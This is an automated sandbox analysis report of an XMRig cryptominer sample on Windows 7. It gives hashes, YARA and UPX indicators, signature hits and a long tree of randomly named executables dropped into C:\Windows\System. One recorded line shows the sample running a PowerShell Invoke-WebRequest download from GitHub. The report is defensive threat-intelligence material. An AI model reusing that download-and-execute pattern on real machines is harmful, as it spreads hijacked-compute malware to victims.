xmrig | 5b5edfedf4535c98845a564874e9402974d7705ae0a8ad3920b3832a74c8a1c6

Analysis

max time kernel
150s
max time network
145s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
28/07/2024, 01:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0512083a055f747a8b05f67171822458_JaffaCakes118.exe
Size

2.7MB
MD5

0512083a055f747a8b05f67171822458
SHA1

615f2f875e090dd5f9eeb82f5adf4a53609225ef
SHA256

5b5edfedf4535c98845a564874e9402974d7705ae0a8ad3920b3832a74c8a1c6
SHA512

e91ff1ccbbcde98ec2bc12706c302e527bd3fc3957e55934422cee4a51e9bd71b9f450e09f78423982bba59445abd9359798c8a73a820e94f3663aed81b165d6
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1Vr5s1PTleLWrJ5I/2:NABx

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 18 IoCs

miner

resource	yara_rule
behavioral1/memory/2900-13-0x000000013F590000-0x000000013F982000-memory.dmp	xmrig
behavioral1/memory/2136-15-0x000000013F6B0000-0x000000013FAA2000-memory.dmp	xmrig
behavioral1/memory/2832-26-0x000000013F5E0000-0x000000013F9D2000-memory.dmp	xmrig
behavioral1/memory/2616-95-0x000000013F9D0000-0x000000013FDC2000-memory.dmp	xmrig
behavioral1/memory/2544-108-0x000000013F370000-0x000000013F762000-memory.dmp	xmrig
behavioral1/memory/1640-106-0x000000013F800000-0x000000013FBF2000-memory.dmp	xmrig
behavioral1/memory/2740-104-0x000000013F530000-0x000000013F922000-memory.dmp	xmrig
behavioral1/memory/2648-100-0x000000013F450000-0x000000013F842000-memory.dmp	xmrig
behavioral1/memory/2916-89-0x000000013FCE0000-0x00000001400D2000-memory.dmp	xmrig
behavioral1/memory/2672-93-0x000000013F600000-0x000000013F9F2000-memory.dmp	xmrig
behavioral1/memory/2756-91-0x000000013FB80000-0x000000013FF72000-memory.dmp	xmrig
behavioral1/memory/2736-87-0x000000013F820000-0x000000013FC12000-memory.dmp	xmrig
behavioral1/memory/2544-3154-0x000000013F370000-0x000000013F762000-memory.dmp	xmrig
behavioral1/memory/2756-3143-0x000000013FB80000-0x000000013FF72000-memory.dmp	xmrig
behavioral1/memory/2740-3148-0x000000013F530000-0x000000013F922000-memory.dmp	xmrig
behavioral1/memory/2136-3146-0x000000013F6B0000-0x000000013FAA2000-memory.dmp	xmrig
behavioral1/memory/2648-3141-0x000000013F450000-0x000000013F842000-memory.dmp	xmrig
behavioral1/memory/1640-3140-0x000000013F800000-0x000000013FBF2000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2556	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2900	GGtxDor.exe
2136	EdJCOhp.exe

Loads dropped DLL 2 IoCs

pid	Process
1720	0512083a055f747a8b05f67171822458_JaffaCakes118.exe
1720	0512083a055f747a8b05f67171822458_JaffaCakes118.exe

UPX packed file 51 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1720-1-0x000000013FC70000-0x0000000140062000-memory.dmp	upx
behavioral1/files/0x00070000000120fd-5.dat	upx
behavioral1/files/0x0007000000019388-8.dat	upx
behavioral1/memory/2900-13-0x000000013F590000-0x000000013F982000-memory.dmp	upx
behavioral1/memory/2136-15-0x000000013F6B0000-0x000000013FAA2000-memory.dmp	upx
behavioral1/files/0x0006000000019396-23.dat	upx
behavioral1/memory/2832-26-0x000000013F5E0000-0x000000013F9D2000-memory.dmp	upx
behavioral1/files/0x000600000001949b-46.dat	upx
behavioral1/files/0x00080000000194bf-50.dat	upx
behavioral1/files/0x000500000001a421-61.dat	upx
behavioral1/files/0x000500000001a481-73.dat	upx
behavioral1/files/0x000500000001a47f-69.dat	upx
behavioral1/memory/2616-95-0x000000013F9D0000-0x000000013FDC2000-memory.dmp	upx
behavioral1/files/0x003200000001930a-114.dat	upx
behavioral1/files/0x000500000001a49d-121.dat	upx
behavioral1/files/0x000500000001a48e-117.dat	upx
behavioral1/files/0x000500000001a4a3-128.dat	upx
behavioral1/files/0x000500000001a4a5-131.dat	upx
behavioral1/files/0x000500000001a4a9-141.dat	upx
behavioral1/files/0x000500000001a4b3-167.dat	upx
behavioral1/files/0x000500000001a4b1-164.dat	upx
behavioral1/files/0x000500000001a4b5-182.dat	upx
behavioral1/files/0x000500000001a4bd-194.dat	upx
behavioral1/files/0x000500000001a4b9-179.dat	upx
behavioral1/files/0x000500000001a4bb-185.dat	upx
behavioral1/files/0x000500000001a4b7-176.dat	upx
behavioral1/files/0x000500000001a4af-158.dat	upx
behavioral1/files/0x000500000001a4ad-154.dat	upx
behavioral1/files/0x000500000001a4ab-147.dat	upx
behavioral1/files/0x000500000001a4a7-138.dat	upx
behavioral1/memory/2544-108-0x000000013F370000-0x000000013F762000-memory.dmp	upx
behavioral1/memory/1640-106-0x000000013F800000-0x000000013FBF2000-memory.dmp	upx
behavioral1/memory/2740-104-0x000000013F530000-0x000000013F922000-memory.dmp	upx
behavioral1/files/0x000500000001a48c-101.dat	upx
behavioral1/memory/2648-100-0x000000013F450000-0x000000013F842000-memory.dmp	upx
behavioral1/memory/2916-89-0x000000013FCE0000-0x00000001400D2000-memory.dmp	upx
behavioral1/memory/2672-93-0x000000013F600000-0x000000013F9F2000-memory.dmp	upx
behavioral1/memory/2756-91-0x000000013FB80000-0x000000013FF72000-memory.dmp	upx
behavioral1/memory/2736-87-0x000000013F820000-0x000000013FC12000-memory.dmp	upx
behavioral1/files/0x000500000001a463-65.dat	upx
behavioral1/files/0x000500000001a41b-57.dat	upx
behavioral1/files/0x00070000000194c2-53.dat	upx
behavioral1/files/0x000700000001948b-41.dat	upx
behavioral1/files/0x0007000000004e74-38.dat	upx
behavioral1/files/0x00070000000193b4-33.dat	upx
behavioral1/memory/2544-3154-0x000000013F370000-0x000000013F762000-memory.dmp	upx
behavioral1/memory/2756-3143-0x000000013FB80000-0x000000013FF72000-memory.dmp	upx
behavioral1/memory/2740-3148-0x000000013F530000-0x000000013F922000-memory.dmp	upx
behavioral1/memory/2136-3146-0x000000013F6B0000-0x000000013FAA2000-memory.dmp	upx
behavioral1/memory/2648-3141-0x000000013F450000-0x000000013F842000-memory.dmp	upx
behavioral1/memory/1640-3140-0x000000013F800000-0x000000013FBF2000-memory.dmp	upx

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\System\GGtxDor.exe	0512083a055f747a8b05f67171822458_JaffaCakes118.exe
File created	C:\Windows\System\EdJCOhp.exe	0512083a055f747a8b05f67171822458_JaffaCakes118.exe
File created	C:\Windows\System\OGKzOFx.exe	0512083a055f747a8b05f67171822458_JaffaCakes118.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1720	0512083a055f747a8b05f67171822458_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1720 wrote to memory of 2556	1720	0512083a055f747a8b05f67171822458_JaffaCakes118.exe	31
PID 1720 wrote to memory of 2556	1720	0512083a055f747a8b05f67171822458_JaffaCakes118.exe	31
PID 1720 wrote to memory of 2556	1720	0512083a055f747a8b05f67171822458_JaffaCakes118.exe	31
PID 1720 wrote to memory of 2900	1720	0512083a055f747a8b05f67171822458_JaffaCakes118.exe	32
PID 1720 wrote to memory of 2900	1720	0512083a055f747a8b05f67171822458_JaffaCakes118.exe	32
PID 1720 wrote to memory of 2900	1720	0512083a055f747a8b05f67171822458_JaffaCakes118.exe	32
PID 1720 wrote to memory of 2136	1720	0512083a055f747a8b05f67171822458_JaffaCakes118.exe	33
PID 1720 wrote to memory of 2136	1720	0512083a055f747a8b05f67171822458_JaffaCakes118.exe	33
PID 1720 wrote to memory of 2136	1720	0512083a055f747a8b05f67171822458_JaffaCakes118.exe	33

C:\Users\Admin\AppData\Local\Temp\0512083a055f747a8b05f67171822458_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0512083a055f747a8b05f67171822458_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2556
- C:\Windows\System\GGtxDor.exe
  C:\Windows\System\GGtxDor.exe
  2⤵
  - Executes dropped EXE
  PID:2900
- C:\Windows\System\EdJCOhp.exe
  C:\Windows\System\EdJCOhp.exe
  2⤵
  - Executes dropped EXE
  PID:2136
- C:\Windows\System\OGKzOFx.exe
  C:\Windows\System\OGKzOFx.exe
  2⤵
  PID:2832
- C:\Windows\System\CLXUmDH.exe
  C:\Windows\System\CLXUmDH.exe
  2⤵
  PID:2736
- C:\Windows\System\nkYKBGG.exe
  C:\Windows\System\nkYKBGG.exe
  2⤵
  PID:2916
- C:\Windows\System\lJaRexU.exe
  C:\Windows\System\lJaRexU.exe
  2⤵
  PID:2756
- C:\Windows\System\MQfAINe.exe
  C:\Windows\System\MQfAINe.exe
  2⤵
  PID:2672
- C:\Windows\System\ffCOExs.exe
  C:\Windows\System\ffCOExs.exe
  2⤵
  PID:2616
- C:\Windows\System\XUGvYeN.exe
  C:\Windows\System\XUGvYeN.exe
  2⤵
  PID:2648
- C:\Windows\System\vwuWsWW.exe
  C:\Windows\System\vwuWsWW.exe
  2⤵
  PID:2740
- C:\Windows\System\LDEyfed.exe
  C:\Windows\System\LDEyfed.exe
  2⤵
  PID:1640
- C:\Windows\System\SknHEPM.exe
  C:\Windows\System\SknHEPM.exe
  2⤵
  PID:2544
- C:\Windows\System\jIRGmlw.exe
  C:\Windows\System\jIRGmlw.exe
  2⤵
  PID:1916
- C:\Windows\System\hrVuehZ.exe
  C:\Windows\System\hrVuehZ.exe
  2⤵
  PID:1828
- C:\Windows\System\rqfyEKe.exe
  C:\Windows\System\rqfyEKe.exe
  2⤵
  PID:2848
- C:\Windows\System\rFNiRzD.exe
  C:\Windows\System\rFNiRzD.exe
  2⤵
  PID:3036
- C:\Windows\System\lqnObMQ.exe
  C:\Windows\System\lqnObMQ.exe
  2⤵
  PID:2332
- C:\Windows\System\rhRVbmH.exe
  C:\Windows\System\rhRVbmH.exe
  2⤵
  PID:1512
- C:\Windows\System\DrppFZP.exe
  C:\Windows\System\DrppFZP.exe
  2⤵
  PID:1100
- C:\Windows\System\BnaUWft.exe
  C:\Windows\System\BnaUWft.exe
  2⤵
  PID:1972
- C:\Windows\System\JybwTgS.exe
  C:\Windows\System\JybwTgS.exe
  2⤵
  PID:2116
- C:\Windows\System\dOUZNUN.exe
  C:\Windows\System\dOUZNUN.exe
  2⤵
  PID:1232
- C:\Windows\System\UHJYXlD.exe
  C:\Windows\System\UHJYXlD.exe
  2⤵
  PID:2476
- C:\Windows\System\eYaajgX.exe
  C:\Windows\System\eYaajgX.exe
  2⤵
  PID:2484
- C:\Windows\System\xyscjDJ.exe
  C:\Windows\System\xyscjDJ.exe
  2⤵
  PID:2092
- C:\Windows\System\FOBCpCu.exe
  C:\Windows\System\FOBCpCu.exe
  2⤵
  PID:880
- C:\Windows\System\vUvTsGF.exe
  C:\Windows\System\vUvTsGF.exe
  2⤵
  PID:2256
- C:\Windows\System\XSmnQbf.exe
  C:\Windows\System\XSmnQbf.exe
  2⤵
  PID:560
- C:\Windows\System\ZRBOIJG.exe
  C:\Windows\System\ZRBOIJG.exe
  2⤵
  PID:1092
- C:\Windows\System\LiKIlGk.exe
  C:\Windows\System\LiKIlGk.exe
  2⤵
  PID:264
- C:\Windows\System\ksAFDZF.exe
  C:\Windows\System\ksAFDZF.exe
  2⤵
  PID:856
- C:\Windows\System\ZyFlvag.exe
  C:\Windows\System\ZyFlvag.exe
  2⤵
  PID:1284
- C:\Windows\System\lSvbNOL.exe
  C:\Windows\System\lSvbNOL.exe
  2⤵
  PID:2336
- C:\Windows\System\sPnMtqD.exe
  C:\Windows\System\sPnMtqD.exe
  2⤵
  PID:1928
- C:\Windows\System\FEJGwnu.exe
  C:\Windows\System\FEJGwnu.exe
  2⤵
  PID:1740
- C:\Windows\System\MuvafxY.exe
  C:\Windows\System\MuvafxY.exe
  2⤵
  PID:2480
- C:\Windows\System\BYTKcMu.exe
  C:\Windows\System\BYTKcMu.exe
  2⤵
  PID:988
- C:\Windows\System\VpYdAnm.exe
  C:\Windows\System\VpYdAnm.exe
  2⤵
  PID:1884
- C:\Windows\System\pmovTLA.exe
  C:\Windows\System\pmovTLA.exe
  2⤵
  PID:1796
- C:\Windows\System\YTElwCK.exe
  C:\Windows\System\YTElwCK.exe
  2⤵
  PID:2276
- C:\Windows\System\nRrjEmD.exe
  C:\Windows\System\nRrjEmD.exe
  2⤵
  PID:1560
- C:\Windows\System\lkLJXIx.exe
  C:\Windows\System\lkLJXIx.exe
  2⤵
  PID:1912
- C:\Windows\System\YpQQVPP.exe
  C:\Windows\System\YpQQVPP.exe
  2⤵
  PID:788
- C:\Windows\System\vqQHksG.exe
  C:\Windows\System\vqQHksG.exe
  2⤵
  PID:1448
- C:\Windows\System\TMXXsuf.exe
  C:\Windows\System\TMXXsuf.exe
  2⤵
  PID:1492
- C:\Windows\System\YOIGdKB.exe
  C:\Windows\System\YOIGdKB.exe
  2⤵
  PID:2240
- C:\Windows\System\BSIBjst.exe
  C:\Windows\System\BSIBjst.exe
  2⤵
  PID:1312
- C:\Windows\System\bxayXsq.exe
  C:\Windows\System\bxayXsq.exe
  2⤵
  PID:1584
- C:\Windows\System\dPDZVlQ.exe
  C:\Windows\System\dPDZVlQ.exe
  2⤵
  PID:1680
- C:\Windows\System\YuDNhFW.exe
  C:\Windows\System\YuDNhFW.exe
  2⤵
  PID:2416
- C:\Windows\System\zEMyYdm.exe
  C:\Windows\System\zEMyYdm.exe
  2⤵
  PID:2576
- C:\Windows\System\xcNEYRO.exe
  C:\Windows\System\xcNEYRO.exe
  2⤵
  PID:2888
- C:\Windows\System\jeJoqJu.exe
  C:\Windows\System\jeJoqJu.exe
  2⤵
  PID:2640
- C:\Windows\System\fXwrLQH.exe
  C:\Windows\System\fXwrLQH.exe
  2⤵
  PID:2664
- C:\Windows\System\HLQLycy.exe
  C:\Windows\System\HLQLycy.exe
  2⤵
  PID:2668
- C:\Windows\System\ObMaOGy.exe
  C:\Windows\System\ObMaOGy.exe
  2⤵
  PID:2720
- C:\Windows\System\aUJlKXW.exe
  C:\Windows\System\aUJlKXW.exe
  2⤵
  PID:1420
- C:\Windows\System\DwoqaLE.exe
  C:\Windows\System\DwoqaLE.exe
  2⤵
  PID:1712
- C:\Windows\System\gAdkJwC.exe
  C:\Windows\System\gAdkJwC.exe
  2⤵
  PID:2712
- C:\Windows\System\IFzRjrr.exe
  C:\Windows\System\IFzRjrr.exe
  2⤵
  PID:2232
- C:\Windows\System\FPTUyzC.exe
  C:\Windows\System\FPTUyzC.exe
  2⤵
  PID:2292
- C:\Windows\System\rocENkk.exe
  C:\Windows\System\rocENkk.exe
  2⤵
  PID:1392
- C:\Windows\System\DNHNOaL.exe
  C:\Windows\System\DNHNOaL.exe
  2⤵
  PID:1228
- C:\Windows\System\BqJDLJj.exe
  C:\Windows\System\BqJDLJj.exe
  2⤵
  PID:2060
- C:\Windows\System\GwLQArj.exe
  C:\Windows\System\GwLQArj.exe
  2⤵
  PID:2192
- C:\Windows\System\iUJSsgM.exe
  C:\Windows\System\iUJSsgM.exe
  2⤵
  PID:2176
- C:\Windows\System\BZcoXke.exe
  C:\Windows\System\BZcoXke.exe
  2⤵
  PID:1244
- C:\Windows\System\tvxjOVp.exe
  C:\Windows\System\tvxjOVp.exe
  2⤵
  PID:1616
- C:\Windows\System\MZBZHUw.exe
  C:\Windows\System\MZBZHUw.exe
  2⤵
  PID:1772
- C:\Windows\System\NozIDgZ.exe
  C:\Windows\System\NozIDgZ.exe
  2⤵
  PID:2308
- C:\Windows\System\REUYGyq.exe
  C:\Windows\System\REUYGyq.exe
  2⤵
  PID:1460
- C:\Windows\System\oXhVmxV.exe
  C:\Windows\System\oXhVmxV.exe
  2⤵
  PID:1256
- C:\Windows\System\dNlQSVv.exe
  C:\Windows\System\dNlQSVv.exe
  2⤵
  PID:1044
- C:\Windows\System\mTlgPvQ.exe
  C:\Windows\System\mTlgPvQ.exe
  2⤵
  PID:1528
- C:\Windows\System\SIvCrWC.exe
  C:\Windows\System\SIvCrWC.exe
  2⤵
  PID:1896
- C:\Windows\System\WxdmATk.exe
  C:\Windows\System\WxdmATk.exe
  2⤵
  PID:2348
- C:\Windows\System\gSCHuil.exe
  C:\Windows\System\gSCHuil.exe
  2⤵
  PID:1208
- C:\Windows\System\bMpiLfT.exe
  C:\Windows\System\bMpiLfT.exe
  2⤵
  PID:2352
- C:\Windows\System\kLzlxmy.exe
  C:\Windows\System\kLzlxmy.exe
  2⤵
  PID:860
- C:\Windows\System\udEKFZR.exe
  C:\Windows\System\udEKFZR.exe
  2⤵
  PID:448
- C:\Windows\System\SgPKrzW.exe
  C:\Windows\System\SgPKrzW.exe
  2⤵
  PID:1592
- C:\Windows\System\UnPGKFF.exe
  C:\Windows\System\UnPGKFF.exe
  2⤵
  PID:2152
- C:\Windows\System\CHKlRPm.exe
  C:\Windows\System\CHKlRPm.exe
  2⤵
  PID:2644
- C:\Windows\System\KtoGPvO.exe
  C:\Windows\System\KtoGPvO.exe
  2⤵
  PID:2280
- C:\Windows\System\geoYptD.exe
  C:\Windows\System\geoYptD.exe
  2⤵
  PID:2660
- C:\Windows\System\OFnlMyO.exe
  C:\Windows\System\OFnlMyO.exe
  2⤵
  PID:816
- C:\Windows\System\DjCtkrW.exe
  C:\Windows\System\DjCtkrW.exe
  2⤵
  PID:1904
- C:\Windows\System\RMemGMw.exe
  C:\Windows\System\RMemGMw.exe
  2⤵
  PID:2084
- C:\Windows\System\hfnumPx.exe
  C:\Windows\System\hfnumPx.exe
  2⤵
  PID:2212
- C:\Windows\System\hFORKVM.exe
  C:\Windows\System\hFORKVM.exe
  2⤵
  PID:1948
- C:\Windows\System\nNpNXry.exe
  C:\Windows\System\nNpNXry.exe
  2⤵
  PID:2164
- C:\Windows\System\lvAHQgw.exe
  C:\Windows\System\lvAHQgw.exe
  2⤵
  PID:2456
- C:\Windows\System\tGXUeHq.exe
  C:\Windows\System\tGXUeHq.exe
  2⤵
  PID:2572
- C:\Windows\System\GzKBKQs.exe
  C:\Windows\System\GzKBKQs.exe
  2⤵
  PID:1048
- C:\Windows\System\FnLMGZG.exe
  C:\Windows\System\FnLMGZG.exe
  2⤵
  PID:1172
- C:\Windows\System\qEwlHXE.exe
  C:\Windows\System\qEwlHXE.exe
  2⤵
  PID:1356
- C:\Windows\System\TQVBxWQ.exe
  C:\Windows\System\TQVBxWQ.exe
  2⤵
  PID:1868
- C:\Windows\System\ynHMIov.exe
  C:\Windows\System\ynHMIov.exe
  2⤵
  PID:1636
- C:\Windows\System\LwGfWJF.exe
  C:\Windows\System\LwGfWJF.exe
  2⤵
  PID:1728
- C:\Windows\System\VTUpeke.exe
  C:\Windows\System\VTUpeke.exe
  2⤵
  PID:1696
- C:\Windows\System\gQynYeQ.exe
  C:\Windows\System\gQynYeQ.exe
  2⤵
  PID:2344
- C:\Windows\System\shnPojT.exe
  C:\Windows\System\shnPojT.exe
  2⤵
  PID:2356
- C:\Windows\System\nwujCIz.exe
  C:\Windows\System\nwujCIz.exe
  2⤵
  PID:2804
- C:\Windows\System\gIoAfgA.exe
  C:\Windows\System\gIoAfgA.exe
  2⤵
  PID:2448
- C:\Windows\System\OwXtcww.exe
  C:\Windows\System\OwXtcww.exe
  2⤵
  PID:2628
- C:\Windows\System\eegksHm.exe
  C:\Windows\System\eegksHm.exe
  2⤵
  PID:2988
- C:\Windows\System\xASqhEH.exe
  C:\Windows\System\xASqhEH.exe
  2⤵
  PID:2492
- C:\Windows\System\gxTKqnw.exe
  C:\Windows\System\gxTKqnw.exe
  2⤵
  PID:1432
- C:\Windows\System\YUZUpxF.exe
  C:\Windows\System\YUZUpxF.exe
  2⤵
  PID:2184
- C:\Windows\System\WlqOwEJ.exe
  C:\Windows\System\WlqOwEJ.exe
  2⤵
  PID:1952
- C:\Windows\System\IjnSjpl.exe
  C:\Windows\System\IjnSjpl.exe
  2⤵
  PID:984
- C:\Windows\System\XArnxaL.exe
  C:\Windows\System\XArnxaL.exe
  2⤵
  PID:2408
- C:\Windows\System\YgXMxxO.exe
  C:\Windows\System\YgXMxxO.exe
  2⤵
  PID:1488
- C:\Windows\System\UlkaJmt.exe
  C:\Windows\System\UlkaJmt.exe
  2⤵
  PID:2032
- C:\Windows\System\OidulZy.exe
  C:\Windows\System\OidulZy.exe
  2⤵
  PID:1180
- C:\Windows\System\deTFVyL.exe
  C:\Windows\System\deTFVyL.exe
  2⤵
  PID:2096
- C:\Windows\System\kVURquH.exe
  C:\Windows\System\kVURquH.exe
  2⤵
  PID:1404
- C:\Windows\System\qaCRaDA.exe
  C:\Windows\System\qaCRaDA.exe
  2⤵
  PID:2808
- C:\Windows\System\uamEdlm.exe
  C:\Windows\System\uamEdlm.exe
  2⤵
  PID:2440
- C:\Windows\System\dYIWics.exe
  C:\Windows\System\dYIWics.exe
  2⤵
  PID:1076
- C:\Windows\System\aPBACyA.exe
  C:\Windows\System\aPBACyA.exe
  2⤵
  PID:2612
- C:\Windows\System\sTLDdmO.exe
  C:\Windows\System\sTLDdmO.exe
  2⤵
  PID:2856
- C:\Windows\System\slFTDmO.exe
  C:\Windows\System\slFTDmO.exe
  2⤵
  PID:2796
- C:\Windows\System\msCZwDK.exe
  C:\Windows\System\msCZwDK.exe
  2⤵
  PID:3092
- C:\Windows\System\ZCGaATD.exe
  C:\Windows\System\ZCGaATD.exe
  2⤵
  PID:3108
- C:\Windows\System\WrJZwGm.exe
  C:\Windows\System\WrJZwGm.exe
  2⤵
  PID:3128
- C:\Windows\System\iEEHxaF.exe
  C:\Windows\System\iEEHxaF.exe
  2⤵
  PID:3148
- C:\Windows\System\gsOZiXv.exe
  C:\Windows\System\gsOZiXv.exe
  2⤵
  PID:3168
- C:\Windows\System\IjACBQw.exe
  C:\Windows\System\IjACBQw.exe
  2⤵
  PID:3188
- C:\Windows\System\QlyCMjM.exe
  C:\Windows\System\QlyCMjM.exe
  2⤵
  PID:3208
- C:\Windows\System\nKtxRJG.exe
  C:\Windows\System\nKtxRJG.exe
  2⤵
  PID:3228
- C:\Windows\System\VcRhhWW.exe
  C:\Windows\System\VcRhhWW.exe
  2⤵
  PID:3248
- C:\Windows\System\hdutNCx.exe
  C:\Windows\System\hdutNCx.exe
  2⤵
  PID:3272
- C:\Windows\System\bZhJTYN.exe
  C:\Windows\System\bZhJTYN.exe
  2⤵
  PID:3292
- C:\Windows\System\DVflTeG.exe
  C:\Windows\System\DVflTeG.exe
  2⤵
  PID:3308
- C:\Windows\System\XmpsBdA.exe
  C:\Windows\System\XmpsBdA.exe
  2⤵
  PID:3336
- C:\Windows\System\MujSUDq.exe
  C:\Windows\System\MujSUDq.exe
  2⤵
  PID:3352
- C:\Windows\System\FEAhGak.exe
  C:\Windows\System\FEAhGak.exe
  2⤵
  PID:3376
- C:\Windows\System\YvbRRrh.exe
  C:\Windows\System\YvbRRrh.exe
  2⤵
  PID:3396
- C:\Windows\System\kiGugFv.exe
  C:\Windows\System\kiGugFv.exe
  2⤵
  PID:3416
- C:\Windows\System\FLkAYQA.exe
  C:\Windows\System\FLkAYQA.exe
  2⤵
  PID:3432
- C:\Windows\System\xGoTUst.exe
  C:\Windows\System\xGoTUst.exe
  2⤵
  PID:3456
- C:\Windows\System\iHxdNpL.exe
  C:\Windows\System\iHxdNpL.exe
  2⤵
  PID:3472
- C:\Windows\System\czDyCcZ.exe
  C:\Windows\System\czDyCcZ.exe
  2⤵
  PID:3492
- C:\Windows\System\vNOcKgD.exe
  C:\Windows\System\vNOcKgD.exe
  2⤵
  PID:3512
- C:\Windows\System\McYnzdR.exe
  C:\Windows\System\McYnzdR.exe
  2⤵
  PID:3532
- C:\Windows\System\tBHJeZn.exe
  C:\Windows\System\tBHJeZn.exe
  2⤵
  PID:3556
- C:\Windows\System\BjZOqRP.exe
  C:\Windows\System\BjZOqRP.exe
  2⤵
  PID:3576
- C:\Windows\System\nsJPgPu.exe
  C:\Windows\System\nsJPgPu.exe
  2⤵
  PID:3596
- C:\Windows\System\wUULLeY.exe
  C:\Windows\System\wUULLeY.exe
  2⤵
  PID:3616
- C:\Windows\System\GwUApDo.exe
  C:\Windows\System\GwUApDo.exe
  2⤵
  PID:3632
- C:\Windows\System\PiDiyQq.exe
  C:\Windows\System\PiDiyQq.exe
  2⤵
  PID:3652
- C:\Windows\System\JYAlDmi.exe
  C:\Windows\System\JYAlDmi.exe
  2⤵
  PID:3672
- C:\Windows\System\XzvoIhZ.exe
  C:\Windows\System\XzvoIhZ.exe
  2⤵
  PID:3696
- C:\Windows\System\NAueMRu.exe
  C:\Windows\System\NAueMRu.exe
  2⤵
  PID:3712
- C:\Windows\System\QMkAYTS.exe
  C:\Windows\System\QMkAYTS.exe
  2⤵
  PID:3740
- C:\Windows\System\ZvaKcJt.exe
  C:\Windows\System\ZvaKcJt.exe
  2⤵
  PID:3756
- C:\Windows\System\etZECNc.exe
  C:\Windows\System\etZECNc.exe
  2⤵
  PID:3776
- C:\Windows\System\rzjRFfY.exe
  C:\Windows\System\rzjRFfY.exe
  2⤵
  PID:3800
- C:\Windows\System\SiDkEIL.exe
  C:\Windows\System\SiDkEIL.exe
  2⤵
  PID:3820
- C:\Windows\System\vnoOtJc.exe
  C:\Windows\System\vnoOtJc.exe
  2⤵
  PID:3836
- C:\Windows\System\XJMgEKp.exe
  C:\Windows\System\XJMgEKp.exe
  2⤵
  PID:3856
- C:\Windows\System\UGETVoB.exe
  C:\Windows\System\UGETVoB.exe
  2⤵
  PID:3876
- C:\Windows\System\MgzNdCr.exe
  C:\Windows\System\MgzNdCr.exe
  2⤵
  PID:3896
- C:\Windows\System\jTFJqFs.exe
  C:\Windows\System\jTFJqFs.exe
  2⤵
  PID:3924
- C:\Windows\System\dKJXwRQ.exe
  C:\Windows\System\dKJXwRQ.exe
  2⤵
  PID:3944
- C:\Windows\System\dTappzx.exe
  C:\Windows\System\dTappzx.exe
  2⤵
  PID:3960
- C:\Windows\System\bAAaCHY.exe
  C:\Windows\System\bAAaCHY.exe
  2⤵
  PID:3980
- C:\Windows\System\ObFgXdV.exe
  C:\Windows\System\ObFgXdV.exe
  2⤵
  PID:3996
- C:\Windows\System\OXlrSNm.exe
  C:\Windows\System\OXlrSNm.exe
  2⤵
  PID:4020
- C:\Windows\System\lDXLFpQ.exe
  C:\Windows\System\lDXLFpQ.exe
  2⤵
  PID:4044
- C:\Windows\System\GwNTndJ.exe
  C:\Windows\System\GwNTndJ.exe
  2⤵
  PID:4064
- C:\Windows\System\YCndDSN.exe
  C:\Windows\System\YCndDSN.exe
  2⤵
  PID:4080
- C:\Windows\System\ZFlIezl.exe
  C:\Windows\System\ZFlIezl.exe
  2⤵
  PID:2932
- C:\Windows\System\oQUxPdO.exe
  C:\Windows\System\oQUxPdO.exe
  2⤵
  PID:2188
- C:\Windows\System\DeMVBJa.exe
  C:\Windows\System\DeMVBJa.exe
  2⤵
  PID:892
- C:\Windows\System\MjxVzDL.exe
  C:\Windows\System\MjxVzDL.exe
  2⤵
  PID:1564
- C:\Windows\System\APOPnMC.exe
  C:\Windows\System\APOPnMC.exe
  2⤵
  PID:3088
- C:\Windows\System\AVauPqc.exe
  C:\Windows\System\AVauPqc.exe
  2⤵
  PID:740
- C:\Windows\System\iJOcsJQ.exe
  C:\Windows\System\iJOcsJQ.exe
  2⤵
  PID:3120
- C:\Windows\System\kjjSAMV.exe
  C:\Windows\System\kjjSAMV.exe
  2⤵
  PID:3164
- C:\Windows\System\HSOqdtG.exe
  C:\Windows\System\HSOqdtG.exe
  2⤵
  PID:3136
- C:\Windows\System\OZRsvpX.exe
  C:\Windows\System\OZRsvpX.exe
  2⤵
  PID:3240
- C:\Windows\System\rIpBDHj.exe
  C:\Windows\System\rIpBDHj.exe
  2⤵
  PID:3180
- C:\Windows\System\XqfJFQL.exe
  C:\Windows\System\XqfJFQL.exe
  2⤵
  PID:3284
- C:\Windows\System\AhGISme.exe
  C:\Windows\System\AhGISme.exe
  2⤵
  PID:3220
- C:\Windows\System\cUJqWEI.exe
  C:\Windows\System\cUJqWEI.exe
  2⤵
  PID:3316
- C:\Windows\System\OfgQFCa.exe
  C:\Windows\System\OfgQFCa.exe
  2⤵
  PID:3360
- C:\Windows\System\swVwjjj.exe
  C:\Windows\System\swVwjjj.exe
  2⤵
  PID:3368
- C:\Windows\System\HvpYdSM.exe
  C:\Windows\System\HvpYdSM.exe
  2⤵
  PID:2788
- C:\Windows\System\XlkmXGL.exe
  C:\Windows\System\XlkmXGL.exe
  2⤵
  PID:3344
- C:\Windows\System\NlsCuxp.exe
  C:\Windows\System\NlsCuxp.exe
  2⤵
  PID:3440
- C:\Windows\System\uWyxwoR.exe
  C:\Windows\System\uWyxwoR.exe
  2⤵
  PID:3480
- C:\Windows\System\UAmiEzz.exe
  C:\Windows\System\UAmiEzz.exe
  2⤵
  PID:3424
- C:\Windows\System\URvFEug.exe
  C:\Windows\System\URvFEug.exe
  2⤵
  PID:3524
